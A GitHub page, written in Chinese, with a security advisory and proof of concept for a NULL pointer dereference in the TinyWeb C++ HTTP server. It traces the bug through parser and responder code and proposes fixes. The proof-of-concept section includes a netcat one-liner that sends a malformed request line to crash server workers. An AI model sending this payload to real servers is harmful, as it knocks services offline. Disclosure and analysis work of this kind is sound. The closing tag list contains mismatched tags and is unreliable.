theopaid/CVE-2026-67184-Unauthenticated-NULL-Pointer-Dereference-Crashes-the-Server-TinyWeb-
GitHub: theopaid/CVE-2026-67184-Unauthenticated-NULL-Pointer-Dereference-Crashes-the-Server-TinyWeb-
针对 TinyWeb C++ HTTP 服务器的未授权空指针解引用拒绝服务漏洞的安全通告与 PoC,涵盖漏洞分析、受影响版本、利用方式和修复建议。
Stars: 0 | Forks: 0
# 安全通告:未经验证的空指针解引用导致服务器崩溃 (TinyWeb)
**分配的 CVE ID:** CVE-2026-67184
## 概述
当 TinyWeb 解析请求行失败时,它会返回一个错误,但未将请求的 URL 指针重新赋值(保持为 NULL)。调用方忽略了该错误,并将请求传递给响应构建器,后者对该 NULL 指针进行解引用,导致 worker 崩溃。仅需少量格式错误的请求即可导致整个服务器宕机,且无法恢复。
## 受影响软件
- 项目:TinyWeb (https://github.com/GeneralSandman/TinyWeb)
- 构建报告的版本:`TnyWeb/0.0.8`
- 受影响的提交:从 `e48f15d`(2018-11-20,引入此解析器和响应路径处)到 `a381da2`(2023-11-22,`master` 分支上的最新提交)。
- 修复版本:无。
## 分类
- CWE-476:空指针解引用
- CVSS 4.0 基础得分:8.7(高)
- 向量:`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
## 威胁模型
未经身份验证的远程攻击者,且能够访问服务器的 TCP 监听端口(在默认配置中为 9090)。无需任何凭证或用户交互。
## 技术细节
`HttpParser::execute()` 仅在请求行成功解析后才会分配 URL 对象。格式错误的 HTTP 版本会导致版本检查失败并跳转到错误标签,从而在分配操作执行之前返回 -1:
```
// src/tiny_http/http_parser.cc:1401 (the "H" of "HTTP" is expected here)
checkOrGoError((ch == 'H')); // false -> goto error
// src/tiny_http/http_parser.cc:1692 (skipped by the goto above)
request->url = new Url;
// src/tiny_http/http_parser.cc:1750-1753
error:
LOG(Debug) << "http request content is invalid\n";
return -1;
```
`HttpRequest` 是通过 `std::make_shared()` 创建的,这会对其进行值初始化,因此当分配操作被跳过时,`url` 会保持为 NULL。
`WebProtocol::dataReceived()` 记录了返回值,但无论结果如何都会调用 `buildResponse()`:
```
// src/tiny_http/http_protocol.cc:57-61
valid = m_nParser.execute(data.c_str(), begin, data.size(), m_pRequest.get());
valid_requ = (valid == -1) ? false : true;
// src/tiny_http/http_protocol.cc:75
m_nResponser.buildResponse(m_pRequest.get(), valid_requ, m_pResponse.get());
```
`buildResponse()` 接收到 `valid_requ == false`,但从未对其进行检查,并直接对 NULL 的 URL 指针进行解引用:
```
// src/tiny_http/http_responser.cc:66
Url* url = req->url; // NULL
// src/tiny_http/http_responser.cc:83
if (url->field_set & (1 << HTTP_UF_PATH)) { // SIGSEGV
```
worker 进程在执行此访问时崩溃。它不会被重启到服务状态,因此一旦 worker 耗尽,服务器就会停止响应。
## 概念验证
1. 使用默认配置启动服务器(监听 9090 端口)。
2. 确认它能正常响应请求:
```
curl http://TARGET:9090/
```
3. 发送一个版本令牌格式错误的请求。`XTTP/1.1` 在请求行已经提交进入请求模式后,未能通过版本检查:
```
printf 'GET / XTTP/1.1\r\n\r\n' | nc TARGET 9090
```
4. 将步骤 3 重复几次以耗尽 worker 池,然后重试步骤 2 中的正常请求。此时它会超时且无响应,因为所有 worker 都已崩溃。
附加到 worker 的调试器显示了在解引用 NULL 指针时的崩溃情况:
```
#0 HttpBuilder::buildResponse (valid_requ=false) at src/tiny_http/http_responser.cc:83
#1 WebProtocol::dataReceived (data="GET / XTTP/1.1\r\n...") at src/tiny_http/http_protocol.cc:75
```
## 影响
未经身份验证的攻击者可以通过几个简短的请求使服务器 worker 崩溃,并通过不断重发这些请求使服务保持离线状态。这是一种拒绝服务攻击。
## 修复方案
在 `dataReceived()` 中,当 `valid_requ` 为 false 时,应构建一个错误响应并返回,而不是调用 `buildResponse()`。在 `buildResponse()` 中,在使用 `req->url` 之前应检查其是否为 NULL。在解析可能失败之前就分配 URL 对象也可以填补这个漏洞。
标签:C++, SQL查询, Web服务器, 拒绝服务, 数据擦除, 漏洞分析, 空指针解引用, 网络协议解析, 路径探测, 配置错误